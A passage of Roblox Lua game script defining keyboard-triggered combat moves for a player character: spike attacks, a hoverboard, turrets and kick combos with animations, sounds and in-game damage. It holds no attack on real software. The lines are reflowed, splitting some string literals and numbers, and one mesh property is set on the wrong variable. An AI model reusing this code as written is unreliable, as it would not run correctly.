spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
spim.Scale=v3(0.2,6,0.2) local spiw=weld(spi,ra,spi,0,-2,2,rd(90),0,0)
local spi1=pa(m,"","Block",0.3,6,0.3,false,false,0,0,"New Yeller") local
spim=it("SpecialMesh",spi1) spim.MeshType="FileMesh" spim.MeshId=asset ..
Decs.Spike spim.Scale=v3(0.2,6,0.2) local spi1w=weld(spi1,la,spi1,0,-
2,2,rd(90),0,0)
cw(function() c1(spiw,0.07,0,0,-4,0,170,0,0) end) cw(function()
c1(spi1w,0.07,0,0,-4,0,190,0,0) end)
cw(function() c1(law,0.07,3,-1,0.6,0,0,0,85) end) c1(raw,0.07,3,1,0.6,0,0,0,-
95) w(0.2) DmgHit(99,spi,10,14,2) DmgHit(99,spi1,10,14,2) cw(function()
Trail(spi,24,0.05,"Dark green",0.35,cf(0,3,0)) end) cw(function()
Trail(spi1,24,0.05,"Dark green",0.35,cf(0,3,0)) end)
local tru=true local wnd=pa(m,"","Block",14,0,14,false,false,0.3,0,"Dark
green") wnd.Anchored=true it("CylinderMesh",wnd).Scale=v3(1,0.1,1) cw(function()
repeat w() wnd.CFrame=t.CFrame *cf(0,0.5,0) *ca(rd(rn(-8,8)),0,rd(rn(-8,8))) if
rn(1,4)==2 then Sound(Sounds.Spin,1.25,1) end until not tru fade(wnd,0.08) end)
c1(tw,0.02,3,0,0,0,0,-360*5,0) tru=false tw.C1=ca(0,0,0)
cw(function() c1(law,0.08,3,-1.2,1,0.2,40,0,-30) end) hu.WalkSpeed=ns
c1(raw,0.08,3,1.2,1,0.2,40,0,30) spi:Remove'' spi1:Remove''
cw(function() c1(law,0.16,3,-1.5,1,0,0,0,0) end) c1(raw,0.16,3,1.5,1,0,0,0,0)
a.c=true Armz(true) a.b="None" cleanweld(tw,"a1")
elseif mp >= 10 and k=="v" and a.a=="Spikes" and a.b=="None" and not hena
then a.b="Hoverboard" a.c=false hena = true
Armz(false) Legz(false)
local spi=pa(m,"","Block",0.3,10,0.3,true,false,0,0,"New Yeller") local
spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
spim.Scale=v3(1.2,10,0.8) local spiw=weld(spi,to,spi,-0.65,-3,0,rd(-80),0,0)
local spi1=pa(m,"","Block",0.3,10,0.3,true,false,0,0,"New Yeller") local
spi1m=it("SpecialMesh",spi1) spi1m.MeshType="FileMesh" spi1m.MeshId=asset ..
Decs.Spike spi1m.Scale=v3(1.2,10,0.8) local spi1w=weld(spi1,to,spi1,0.65,-3,0,rd(-
80),0,0)
local spi2=pa(m,"","Block",0,0,0,false,false,0,0,"New Yeller") local
spi2m=it("SpecialMesh",spi2) spi1m.MeshType="FileMesh" spi2m.MeshId=asset ..
Decs.Spike spi2m.Scale=v3(0.6,6,0.6) local spi2w=weld(spi2,to,spi2,0,-3.5,-1.5,rd(-
96),0,0)
local bpt=it("BodyPosition",to) bpt.position=to.Position bpt.maxForce=v310
local bgt=it("BodyGyro",to) bgt.maxTorque=v310 bgt.D=1250
hu.PlatformStand=true
cw(function() c1(law,0.07,3,-1,0.5,0,0,0,83) end) cw(function()
c1(raw,0.07,3,1,0.5,0,0,0,-97) end)
cw(function() c1(llw,0.07,3,-0.5,-1,0,-20,0,25) end) cw(function()
c1(rlw,0.07,3,0.5,-1,0,-20,0,-25) end)
c1(tw,0.07,3,0,0,0,15,90,0) Trail2(9999,spi,0.15,"New Yeller",1.8,cf(0.6,-
5,0))
repeat local lulzspid=-a.ClickHold*2.5 if lulzspid < -50 then lulzspid=-50
end
bpt.position=(to.CFrame *cf(0,0,-fsp+(lulzspid))).p
bgt.cframe=cf(to.Position,mou.Hit.p) mp=mp - 0.5 w() until not hena or mp < 1
hena=false fsp=dfsp bpt:Remove'' bgt:Remove'' hu.PlatformStand=false
rtab(sTrail,spi) local spisc=spim.Scale local spisc2=spi2m.Scale
for i=1,0,-0.1 do spim.Scale=spisc*i spi1m.Scale=spisc*i spi2m.Scale=spisc2*i
w() end
spi:Remove'' spi1:Remove'' spi2:Remove'' a.c=true NormalPose(0.08) Armz(true)
Legz(true) a.b="None"
elseif mp >= 60 and k=="u" and a.a=="Spikes" and a.b=="None" then
a.b="SpikeWall" a.c=false
Armz(false) Legz(false) mp=mp - 60 hu.WalkSpeed=0 Sound(Sounds.Cast,1.5,1)
w(0.25)
cw(function() c1(law,0.06,3,-1.2,0.8,0,30,0,40) end) cw(function()
c1(raw,0.06,3,1,0.5,-0.6,-55,0,10) end)
cw(function() c1(llw,0.06,3,-0.5,1.1,-0.7,-20,0,10) end) cw(function()
c1(rlw,0.06,3,0.5,-0.4,0,50,0,-10) end)
c1(tw,0.06,3,0,-1.8,0,30,0,0) Sound(Sounds.Smash,0.26,1)
for i=-12,12,2 do w()
local spi=pa(workspace,"","Block",3,20,3,true,false,0,0,"New Yeller")
spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh"
spim.MeshId=asset .. Decs.Spike spim.Scale=v3(2,29,2)
SplashDmg(false,(to.CFrame *cf(i,-1,-8) *cf(0,0,ab(-i/2.5))).p,8,8,30)
spi.CFrame=to.CFrame *cf(i,-20,-8) *cf(0,0,ab(-i/2.5)) cw(function() for i=1,20 do
spi.CFrame =spi.CFrame *cf(0,1,0) w() end end) game:service'Debris':AddItem(spi,32)
end
hu.WalkSpeed=ns NormalPose(0.08)
Armz(true) Legz(true) a.b="None" a.c=true
elseif mp >= 8 and k=="g" and a.a=="Spikes" and a.b=="None" then
a.b="SpikeCannon" a.c=false
Armz(false) Legz(false)
cw(function() c1(law,0.06,3,-1.2,0.8,0,-30,0,40) end) cw(function()
c1(raw,0.06,3,1.2,0.8,0,-30,0,-40) end)
cw(function() c1(llw,0.06,3,-0.5,-0.8,0,-10,0,0) end) cw(function()
c1(rlw,0.06,3,0.5,-0.8,0,-10,0,0) end)
c1(tw,0.06,3,0,-0.3,0,10,0,0)
repeat
w(0.2) ShootSpike(15,nil,"New Yeller",1,rn(10,28)/10,cf(rn(-22,22)/10,rn(-
22,22)/10,0)*ca(rd(9),0,0)*ca(0,rd(180),0),false,2,t) mp=mp - 8 until ky=="g" or mp
< 1
NormalPose(0.08)
Armz(true) Legz(true) a.b="None" a.c=true
elseif mp >= 600 and k=="b" and a.a=="Spikes" and a.b=="None" then
a.b="SpikeRoll" a.c=false
Armz(false) Legz(false) hu.WalkSpeed=ns*3.5 mp=mp - 600 local spiks={}
for i=1,30 do
local spi=pa(m,"","Block",0,0,0,false,false,0,0,"New Yeller") local
spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
spim.Scale=v3(0,0,0)
local spiw=weld(spi,t,spi,rn(-10,10)/10,rn(-10,10)/10,rn(-10,10)/10,rd(rn(-
360,360)),0,rd(rn(-360,360)))
table.insert(spiks,spiw) cw(function() for i=0,2,0.1 do spiw.C0=spiw.C0
*cf(0,0.17,0) spim.Scale=v3(0.5,i*4,0.5) w() end end)
end
cw(function() c1(llw,0.1,3,-0.5,-0.8,-0.6,65,0,8) end)
cw(function() c1(rlw,0.1,3,0.5,-0.8,-0.6,65,0,-8) end)
cw(function() c1(law,0.1,3,-1.3,1,-0.2,65,0,30) end)
cw(function() c1(raw,0.1,3,1.3,1,-0.2,65,0,-30) end) c1(tw,0.1,3,0,-
2,0,0,0,0) local function funnyfiur(zazaz) ShootSpike(15,nil,"New
Yeller",1,rn(15,38)/10,zazaz,false,2,to) end
cw(function() for i=0,1,0.005 do if rn(1,7)==5 then hu:MoveTo((to.CFrame
*cf(0,0,-6)).p,to) end local rndz=rn(1,20) if rndz==4 then funnyfiur(ca(0,rd(rn(-
360,360)),0)*ca(rd(2),0,0)) elseif rndz==3 then funnyfiur(ca(rd(2),0,0)) elseif
rndz==1 then ShootSpike(15,nil,"New Yeller",1,rn(15,38)/10,"random",false,2,to) end
w() end end) c1(tw,0.005,3,0,-1.7,0,360*10,0,0)
NormalPose(0.07)
for xi=1,#spiks do local spiw=spiks[xi] cw(function() for i=2,0,-0.1 do
spiw.C0=spiw.C0 *cf(0,-0.17,0) spiw.Part1.Mesh.Scale=v3(0.5,i*4,0.5) w() end
spiw.Part1:Remove'' end) end w(0.5)
Armz(true) Legz(true) a.b="None" a.c=true hu.WalkSpeed=ns cleanweld(tw,"a1")
elseif mp >= 120 and k=="n" and a.a=="Spikes" and a.b=="None" then
a.b="SpikeTurret" a.c=false
Armz(false) Legz(false) hu.WalkSpeed=0 mp=mp -120 Sound(Sounds.Cast,1.3,1)
cw(function() c1(law,0.06,3,-1.2,0.5,0,-50,0,-25) end) cw(function()
c1(raw,0.06,3,1.2,0.5,0,-50,0,25) end)
cw(function() c1(llw,0.06,3,-0.5,0.6,-0.7,-20,0,10) end) cw(function()
c1(rlw,0.06,3,0.5,-0.9,0,50,0,-10) end)
c1(tw,0.06,3,0,-1.3,0,30,0,0) w(0.25) if not Button then
SpawnSpikeTurret(cf(mou.Hit.p),rn(8,18)/10,35,30,1) else
SpawnSpikeTurret(cf(mou.Hit.p),rn(8,18)/10,35,30,-1) end w(0.1)
cw(function() c1(law,0.06,3,-1.2,0.5,0,-160,0,-15) end) cw(function()
c1(raw,0.06,3,1.2,0.5,0,-160,0,15) end)
cw(function() c1(llw,0.06,3,-0.5,-1,0,0,0,0) end) cw(function()
c1(rlw,0.06,3,0.5,-1,0,0,0,0) end)
c1(tw,0.06,3,0,0,0,0,0,0) hu.WalkSpeed=ns w(0.5)
NormalPose(0.1)
Armz(true) Legz(true) a.b="None" a.c=true
elseif mp >= 75 and k=="y" and a.a=="Spikes" and a.b=="None" and not dena
then a.b="SpikeDisc" a.c=false dena=true
Armz(false)
repeat mp=mp - 75
cw(function() c1(law,0.1,3,-1.2,1,-0.2,-40,0,30) end)
c1(raw,0.1,3,1.2,1,0.2,40,0,30) Sound(Sounds.Unsheath,1.2,1)
local spi=pa(m,"","Block",0.3,6,0.3,false,false,0,0,"Dark green") local
spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
spim.Scale=v3(0.2,6,0.2) local spiw=weld(spi,ra,spi,0,-4,0,rd(180),0,0)
cw(function() c1(law,0.1,3,-1.2,1,0.2,40,0,-30) end) c1(raw,0.2,3,1,0.6,-
0.3,-80,65,0) c1(raw,0.2,3,1,0.6,-0.3,-100,10,0) FireDisc("Dark
green",6,5,35,cf(spi.Position,mou.Hit.p)) spiw.Part0=la
Sound(Sounds.Unsheath,1.2,1)
cw(function() c1(raw,0.1,3,1.2,1,-0.2,40,0,-30) end) c1(law,0.2,3,-1,0.6,-
0.3,-80,-65,0) c1(law,0.2,3,-1,0.6,-0.3,-100,-10,0) spi:Remove'' FireDisc("Dark
green",6,5,35,cf(spi.Position,mou.Hit.p))
until not dena or mp < 75
dena = false cw(function() c1(law,0.15,3,-1.5,1,0,40,0,0) end)
c1(raw,0.15,3,1.5,1,0,0,0,0)
Armz(true) a.b="None" a.c=true
elseif mp >= 35 and k=="f" and a.a=="Spikes" and a.b=="Hoverboard" then
mp=mp-35 ShootSpike(15,nil,"Navy blue",1,2,cf((to.CFrame *cf(0,-4,-
2)).p,mou.Hit.p)*cf(0,0,-4),true,3,nil)
elseif k=="y" and a.a=="Spikes" and a.b=="SpikeDisc" and dena then dena=false
elseif k=="x" and a.a=="Spikes" and a.b=="Hoverboard" then fsp=0
elseif k=="n" and a.a=="Spikes" and a.b=="Hoverboard" then fsp=mfsp
elseif k=="c" and a.a=="Spikes" and a.b=="Hoverboard" then if fsp-ffreq < 0
then fsp=0 else fsp=fsp-ffreq end
elseif k=="b" and a.a=="Spikes" and a.b=="Hoverboard" then if fsp+ffreq >
mfsp then fsp=mfsp else fsp=fsp+ffreq end
elseif k=="v" and a.a=="Spikes" and a.b=="Hoverboard" and hena then
hena=false
elseif k=="x" and a.a=="Champion" and a.b=="Booster" then fsp=0
elseif k=="n" and a.a=="Champion" and a.b=="Booster" then fsp=mfsp
elseif k=="c" and a.a=="Champion" and a.b=="Booster" then if fsp-ffreq < 0
then fsp=0 else fsp=fsp-ffreq end
elseif k=="b" and a.a=="Champion" and a.b=="Booster" then if fsp+ffreq > mfsp
then fsp=mfsp else fsp=fsp+ffreq end
elseif k=="v" and a.a=="Champion" and a.b=="Booster" and bena then bena=false
elseif mp >= maxmp*0.9 and k=="h" and a.a=="Spikes" and a.b=="None" then
a.b="SpikeRage" a.c=false
Armz(false) Legz(false) mp=rn(1,maxmp/10) hu.WalkSpeed=0
Sound(Sounds.Cast,0.7,2) w(0.5)
cw(function() c1(law,0.06,3,-1.2,0.8,0,30,0,40) end) cw(function()
c1(raw,0.06,3,1,0.5,-0.6,-55,0,10) end)
cw(function() c1(llw,0.06,3,-0.5,1.1,-0.7,-20,0,10) end) cw(function()
c1(rlw,0.06,3,0.5,-0.4,0,50,0,-10) end)
c1(tw,0.06,3,0,-1.8,0,30,0,0) Sound(Sounds.Smash,0.26,1)
for i=0,360,360/8 do w() cw(function()
for ii=1,5 do if rn(1,3)==1 then Sound(Sounds.Unsheath,0.9,1) end
local spi=pa(workspace,"","Block",8,20,8,true,false,0,0,"Dark green")
spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh"
spim.MeshId=asset .. Decs.Spike spim.Scale=v3(3+(ii),25+(ii*1.5),3+(ii))
local spawncf=to.CFrame *ca(0,rd(i+(ii*12)),0) *cf(0,0,8+(ii*12))
*ca(rd(20),0,0) spi.CFrame=spawncf *cf(0,-17,0) cw(function() for i=1,14 do
spi.CFrame =spi.CFrame *cf(0,1.5,0) w() end w(3) for i=1,20 do spi.CFrame
=spi.CFrame *cf(0,-1.5,0) w() end spi:Remove'' end)
w(0.05) end end) end SplashDmg(true,to.Position,105,120,80)
hu.WalkSpeed=ns NormalPose(0.08)
Armz(true) Legz(true) a.b="None" a.c=true
elseif mp >= 50 and k=="r" and a.a=="Spikes" and a.b=="None" then
a.b="SpikeBlock" a.c=false
Armz(false) mp=mp - 50 hu.WalkSpeed=ns/2 Block.Value=true
cw(function() c1(hw,0.15,3,0,1.5,0,0,35,0) end) cw(function()
c1(tw,0.15,3,0,0,1.8,0,-35,0) end) cw(function() c1(law,0.15,3,-1,0.55,-0.9,-
90,55,0) end) c1(raw,0.15,3,1.2,0.55,0.6,-90,10,0)
local spis={} for xi=0,360,360/16 do local xzx=5.5 if xi%((360/16)*2)==0 then
xzx=4.1 w() end
local spi=pa(m,"Shield","Block",0,0,0,false,false,0,0,"Dark green") local
spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
local spiw=weld(spi,to,spi,0,0.65,-0.8,0,0,rd(xi)) spiw.C0=spiw.C0
*ca(rd(15),0,0)
cw(function() for i=0,1,0.1 do if rn(1,25)==1 then
Sound(Sounds.Unsheath,rn(9,16)/10,1) end spiw.C0=spiw.C0 *cf(0,0.16,0)
spim.Scale=v3(0.6*i,i*xzx,0.6*i) w() end end)
ti(spis,spi) end
local spi=pa(m,"Shield","Block",0,0,0,false,false,0,0,"Dark green") local
spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
local spiw=weld(spi,to,spi,0,0.65,-0.8,rd(-90),0,0)
cw(function() for i=0,1,0.1 do if rn(1,25)==1 then
Sound(Sounds.Unsheath,rn(9,16)/10,1) end spiw.C0=spiw.C0 *cf(0,0.16,0)
spim.Scale=v3(0.6*i,i*4.7,0.6*i) w() end end)
ti(spis,spi) w(1)
repeat w() mp=mp - 0.1 until mp < 0.5 or ky=="r"
for xi=1,#spis do local spi=spis[xi] local spiw=spi.Weld local spim=spi.Mesh
local xzx=spim.Scale.y cw(function() for i=1,0,-0.1 do if rn(1,15)==1 then
Sound(Sounds.Unsheath,rn(9,16)/10,1) end spiw.C0=spiw.C0 *cf(0,-0.16,0)
spim.Scale=v3(0.6*i,i*xzx,0.6*i) w() end spi:Remove'' end)
end Block.Value=false hu.WalkSpeed=ns
w(0.25) cw(function() c1(hw,0.15,3,0,1.5,0,0,0,0) end) cw(function()
c1(tw,0.15,3,0,0,0,0,0,0) end) cw(function() c1(law,0.06,3,-1.5,1,0,0,0,0) end)
c1(raw,0.06,3,1.5,1,0,0,0,0)
Armz(true) a.c=true a.b="None"
elseif mp >= 45 and k=="e" and a.a=="Champion" and a.b=="None" then a.b="Jab"
a.c=false
Legz(true) mp=mp - 45 hu.WalkSpeed=ns*1.5 Sound(Sounds.Slash,0.9,1)
Trail2(9999,ra,0.08,ts(ra.BrickColor),0.7,cf(0,-2.5,0)) rayHit(0.75,5,ra,ca(rd(-
90),0,0),3.2,15,35)
cw(function() c1(hw,0.15,3,0,1.5,0,-10,60,0) end) cw(function()
c1(law,0.12,3,-1.3,1,-0.2,45,0,1) end) cw(function() c1(tw,0.12,3,0,0,-4,0,-60,0)
end) c1(raw,0.12,3,1,0.75,-0.5,-92,60,0)
rtab(sTrail,ra) w(0.2) cw(function() c1(hw,0.15,3,0,1.5,0,0,0,0) end)
cw(function() c1(tw,0.15,3,0,0,0,0,0,0) end) hu.WalkSpeed=ns*1.2 cw(function()
c1(law,0.15,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.15,3,1.3,1,-0.2,30,0,-18) a.c=true
a.b="None"
elseif mp < maxmp and k=="z" and a.a=="Champion" and a.b=="None" then
a.b="Charge" a.c=false
Armz(false) Legz(false) hu.WalkSpeed=ns/5
cw(function() c1(llw,0.07,3,-0.5,-1,0,-15,0,20) end) cw(function()
c1(rlw,0.07,3,0.5,-1,0,-15,0,-20) end)
cw(function() c1(law,0.07,3,-1.3,0.1,-0.3,-140,-25,0) end)
c1(raw,0.07,3,1.3,0.1,-0.3,-140,25,0) Sound(Sounds.Cast,1,1)
local crwns={}
for i=1,5 do
local spi=pa(m,"","Block",0,0,0,false,false,1,0,raigcol2) spi.Anchored=true
local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset ..
Decs.Crown
spim.Scale=v3(i*3,15-(i*1.6),i*3) cw(function() for i=1,0.4,-0.05 do
spi.Transparency=i w() end end) ti(crwns,spi) end
cw(function() local ysp=0 repeat ysp=ysp + 15 for ix,spi in pairs(crwns) do
local ysp2=1 if ix%2==0 then ysp2=-1 end spi.CFrame=to.CFrame *cf(0,-2,0)
*ca(0,rd(ysp*ysp2),0) end w() until a.c end)
local tyms=0 repeat tyms=tyms + 1 w() if tyms%15==0 then
Sound(Sounds.Cast,1,0.5) end addmp(3.5) if rn(1,3)==1 then RaiseBubble(to.CFrame
*cf(0,-2,0),rn(8,13)/10,90,raigcol) end until mp >= maxmp or ky=="z"
Sound(Sounds.ElectricalCharge,0.8,4)
cw(function() for ix,spi in pairs(crwns) do cw(function() for xi=0.4,1,0.05
do spi.Transparency=xi w() end spi:Remove'' end) end end)
cw(function() c1(law,0.15,3,-1.3,1,-0.2,30,0,18) end) cw(function()
c1(raw,0.15,3,1.3,1,-0.2,30,0,-18) end)
cw(function() c1(llw,0.07,3,-0.5,-1,0,0,0,0) end) c1(rlw,0.07,3,0.5,-
1,0,0,0,0) Legz(true) hu.WalkSpeed=ns*1.2 a.c=true a.b="None"
elseif mp >= 60 and k=="g" and a.a=="Champion" and a.b=="None" then
a.b="FlipKick" a.c=false
Legz(false) hu.WalkSpeed=ns*1.5 mp=mp - 60
FacePos(to,to.Position,mou.Hit.p,500,v3(0,1/0,0),ca(0,rd(12),0),0.5)
cw(function() c1(law,0.08,3,-1.3,0.8,0,60,0,18) end) cw(function()
c1(raw,0.08,3,1.3,0.8,0,60,0,-18) end)
Sound(Sounds.Slash,1.2,1) BlastMesh(raigcol2,to,cf(0,-2,0),3.5) cw(function()
c1(tw,0.16,3,0,-0.5,0,10,0,0) c1(tw,0.16,3,0,1.5,2,30,0,0) end) cw(function()
c1(llw,0.08,3,-0.5,-0.6,0,70,0,0) end) c1(rlw,0.08,3,0.5,0,-1,15,0,0) w()
Trail2(9999,rl,0.045,ts(rl.BrickColor),0.9,cf(0,-2.8,0)) rayHit(2.5,5,rl,ca(rd(-
90),0,0),6,20,38)
cw(function() c1(tw,0.08,1,0,4.5,0,0,0,0) c1(tw,0.062,1,0,0,0,0,0,0) end)
cw(function() c1(tw,0.04,0,0,0,0,360,360,0) cleanweld(tw,"a0") end) cw(function()
c1(llw,0.2,3,-0.5,-1,0,160,0,0) end) c1(rlw,0.2,3,0.5,-1,0,-15,0,0) cw(function()
w(0.5) rtab(sTrail,rl) end)
cw(function() c1(law,0.15,3,-1.3,1,-0.2,30,0,18) end) cw(function()
c1(raw,0.15,3,1.3,1,-0.2,30,0,-18) end)
cw(function() c1(llw,0.07,3,-0.5,-1,0,0,0,0) end) c1(rlw,0.07,3,0.5,-
1,0,0,0,0) hu.WalkSpeed=ns*1.2 Legz(true) a.c=true a.b="None"
elseif mp >= 40 and k=="x" and a.a=="Champion" and a.b=="None" then
a.b="Roundhouse" a.c=false
Legz(false) mp=mp - 40 cw(function() c1(law,0.15,3,-0.8,0,-0.5,-170,0,5) end)
cw(function() c1(raw,0.15,3,0.8,0,-0.5,-170,0,-5) end)
Trail2(9999,ll,0.045,ts(ll.BrickColor),0.5,cf(0,-2.8,0)) rayHit(2.5,5,ll,ca(rd(-
90),0,0),6,20,38) Sound(Sounds.Slash,1.2,1)
cw(function() c1(tw,0.06,1,0,0,0,0,0,100) c1(tw,0.08,1,0,0,0,0,0,0) end)
cw(function() c1(llw,0.12,3,-0.5,-1,0,0,0,50) w(0.1) c1(llw,0.2,3,-0.5,-1,0,0,0,0)
end) cw(function() c1(rlw,0.06,3,0.5,-1,0,0,0,-100) c1(rlw,0.06,3,0.5,-1,0,0,0,0)
end) c1(tw,0.06,0,0,0,-2.5,0,360,0) cw(function() w(0.4) rtab(sTrail,ll) end)
cleanweld(tw,"a0") cw(function() c1(tw,0.08,0,0,0,0,0,0,0) end) cw(function()
c1(law,0.07,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.07,3,1.3,1,-0.2,30,0,-18)
Legz(true) a.c=true a.b="None"
elseif mp >= 30 and k=="r" and a.a=="Champion" and a.b=="None" then
a.b="Block" a.c=false hu.WalkSpeed=ns/2 mp=mp - 30 Legz(true)
Sound(Sounds.Cast,1.2,1) cw(function() c1(hw,0.06,3,0,1.5,0,0,45,0) end)
cw(function() c1(tw,0.06,3,0,0,2.5,0,-45,0) end) cw(function() c1(law,0.07,3,-
1.3,1,0,0,0,30) end) c1(raw,0.07,3,1.5,-0.2,-0.2,-170,0,10)
Sound(Sounds.SaberLightUp,1.4,1) local tyms=0 Block.Value=true repeat
tyms=tyms + 1 if tyms%15==0 then Sound(Sounds.SaberLightUp,1.55,0.5) end if tyms
%8==0 then GlowMesh(true,asset ..
Decs.Shield1,to,v3(5,15,4),raigcol2,cf(0.5,1,0.5)*ca(rd(-90),0,0))
GlowMesh(true,asset .. Decs.Crown,to,v3(7,0.5,7),raigcol2,cf(0,-
2.5,2.5)*ca(0,rd(tyms*3),0)) end w() mp=mp - 0.5 until mp <= 0 or ky=="r"
Block.Value=false
cw(function() c1(hw,0.06,3,0,1.5,0,0,0,0) end) cw(function()
c1(tw,0.06,3,0,0,0,0,0,0) end) hu.WalkSpeed=ns*1.2 cw(function() c1(law,0.07,3,-
1.3,1,-0.2,30,0,18) end) c1(raw,0.07,3,1.3,1,-0.2,30,0,-18) Legb=true a.c=true
a.b="None"
elseif mp >= 70 and k=="t" and a.a=="Champion" and a.b=="None" then
a.b="WhirlKick" a.c=false hu.WalkSpeed=ns*1.5 mp=mp - 70 Legz(false)
cw(function() c1(law,0.1,3,-1.2,1,0,-175,0,10) end) cw(function()
c1(raw,0.1,3,1.2,1,0,-185,0,-10) end) cw(function() c1(llw,0.1,3,-0.9,-1,0,0,0,85)
end) cw(function() c1(rlw,0.1,3,0.9,-1,0,0,0,-95) end)
c1(tw,0.08,0,0.07,0,0,170,0,0) Trail2(9999,rl,0.045,ts(rl.BrickColor),0.4,cf(0,-
2.8,0)) rayHit(3.5,5,rl,ca(rd(-90),0,0),6,20,38)
Trail2(9999,ll,0.045,ts(ll.BrickColor),0.4,cf(0,-2.8,0)) rayHit(3.5,5,ll,ca(rd(-
90),0,0),6,20,38) cw(function() Sound(Sounds.Spin,1,1) for i=0,0.5,0.02 do w() end
w() Sound(Sounds.Spin,1,1) end) c1(tw,0.02,1,0,0,0,0,360*3,0) cleanweld(tw,"a1")
cw(function() w(0.4) rtab(sTrail,ll) rtab(sTrail,rl) end) cw(function()
c1(tw,0.08,0,0,0,0,0,0,0) end)cw(function() c1(llw,0.07,3,-0.5,-1,0,0,0,0) end)
cw(function() c1(rlw,0.07,3,0.5,-1,0,0,0,0) end) hu.WalkSpeed=ns*1.2 cw(function()
c1(law,0.07,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.07,3,1.3,1,-0.2,30,0,-18) w(0.25)
Legz(true) a.c=true a.b="None"
elseif mp >= 50 and k=="q" and a.a=="Champion" and a.b=="None" then
a.b="360Uppercut" a.c=false mp=mp - 50
cw(function() c1(law,0.06,3,-1.5,0.5,-0.5,-140,0,18) end) cw(function()
c1(raw,0.06,3,1.3,1,-0.2,40,0,-25) end) Trail2(9999,la,0.045,raigcol3,0.8,cf(0,-
2.8,0)) rayHit(1.5,5,t,ca(0,0,0),6,20,42)
cw(function() local bf=it("BodyForce",t) bf.force=v3(0,9000,0)
game:service'Debris':AddItem(bf,0.2) Sound(Sounds.Slash,1.2,1) end)
c1(tw,0.055,3,0,0,-1,0,360,0)
rtab(sTrail,la) cleanweld(tw,"a1") cw(function() c1(tw,0.15,3,0,0,0,0,0,0)
end) cw(function() c1(law,0.14,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.14,3,1.3,1,-
0.2,30,0,-18) a.c=false a.b="None" Legz(true)
elseif mp >= 20 and k=="v" and a.a=="Champion" and a.b=="None" and not bena
then a.b="Booster" a.c=false bena=true mp=mp - 10 Legz(false)
cw(function() c1(llw,0.08,3,-0.5,-1,0,0,0,10) end) cw(function()
c1(rlw,0.08,3,0.5,-1,0,0,0,-10) end)
cw(function() c1(hw,0.14,3,0,1.5,0,-45,0,0) end) cw(function()
c1(tw,0.14,3,0,0,0,60,0,0) end) local tyms=0 local bpt=it("BodyPosition",to)
bpt.position=to.Position bpt.maxForce=v310 local bgt=it("BodyGyro",to)
bgt.maxTorque=v310 bgt.D=1250
repeat local lulzspid=-a.ClickHold*2.5 if lulzspid < -50 then lulzspid=-50
end bpt.position=(to.CFrame *cf(0,0,-fsp+(lulzspid))).p
bgt.cframe=cf(to.Position,mou.Hit.p) mp=mp -1.25 tyms=tyms + 1 if tyms%8==0 then
GlowMesh(false,asset ..
Decs.Crown,t,v3(5,7,5),raigcol2,cf(0,0.5,0)*ca(rd(180),rd(tyms*3),0)) end w() until
mp <= 0 or not bena
bena=false fsp=dfsp bpt:Remove'' bgt:Remove'' w(0.5) cw(function()
c1(hw,0.14,3,0,1.5,0,0,0,0) end) cw(function() c1(llw,0.08,3,-0.5,-1,0,0,0,0) end)
cw(function() c1(rlw,0.08,3,0.5,-1,0,0,0,0) end) cw(function()
c1(tw,0.14,3,0,0,0,0,0,0) end) cw(function() c1(law,0.14,3,-1.3,1,-0.2,30,0,18)
end) c1(raw,0.14,3,1.3,1,-0.2,30,0,-18) Legz(true) a.c=true a.b="None" Legb2=true
elseif mp >= 120 and k=="b" and a.a=="Champion" and a.b=="None" then
a.b="Combo" a.c=false mp=mp - 120 local aspi=0.07 tw.C1=cf(0,0,0) *ca(0,0,0)
Sound(Sounds.Slash,1.2,1) Trail2(9999,la,0.045,ts(la.BrickColor),0.4,cf(0,-
2.8,0)) rayHit(1.3,5,la,ca(rd(-90),0,0),6,12,15) cw(function()
c1(hw,aspi,3,0,1.5,0,0,-80,0) end) cw(function() c1(law,aspi,3,-1.3,0.5,-
0.2,0,0,85) end) cw(function() c1(raw,aspi,3,1.3,1,-0.2,30,0,-45) end)
c1(tw,aspi,0,0,0,0,0,-90,0) rtab(sTrail,la) w(0.1)
Sound(Sounds.Slash,1.2,1) Trail2(9999,ra,0.045,ts(ra.BrickColor),0.4,cf(0,-
2.8,0)) rayHit(1.3,5,ra,ca(rd(-90),0,0),6,13,18) cw(function()
c1(hw,aspi,3,0,1.5,0,0,80,0) end) cw(function() c1(law,aspi,3,-0.8,0,-0.5,-170,0,5)
end) cw(function() c1(raw,aspi,3,1.1,0.5,-0.2,0,20,-85) end) c1(tw,aspi,0,0,0,0,0,-
270,0) rtab(sTrail,ra) w(0.1) cw(function() c1(raw,aspi,3,0.8,0,-0.5,-170,0,-5)
end)
Sound(Sounds.Slash,1.2,1) Trail2(9999,ll,0.045,ts(ll.BrickColor),0.4,cf(0,-
2.8,0)) rayHit(1.3,5,ll,ca(rd(-90),0,0),6,15,21) cw(function()
c1(hw,aspi,3,0,1.5,0,0,0,0) end) Legz(false) cw(function() c1(llw,aspi,3,-0.5,-
1,0,0,0,40) end) cw(function() c1(rlw,aspi,3,0.5,-1,0,0,0,-80) end) cw(function()
c1(tw,aspi,1,0,0,0,0,0,75) end) w(0.1) c1(tw,aspi,0,0,0,0,0,-490,0) rtab(sTrail,ll)
w()
cw(function() c1(llw,0.08,3,-0.5,-1,0,0,0,0) end) cw(function()
c1(rlw,0.08,3,0.5,-1,0,0,0,0) end) cw(function() c1(hw,0.08,3,0,1.5,0,0,0,0) end)
cw(function() c1(tw,0.14,0,0,0,0,0,-360,0) end) cw(function()
c1(tw,0.14,1,0,0,0,0,0,0) end) cw(function() c1(law,0.14,3,-1.3,1,-0.2,30,0,18)
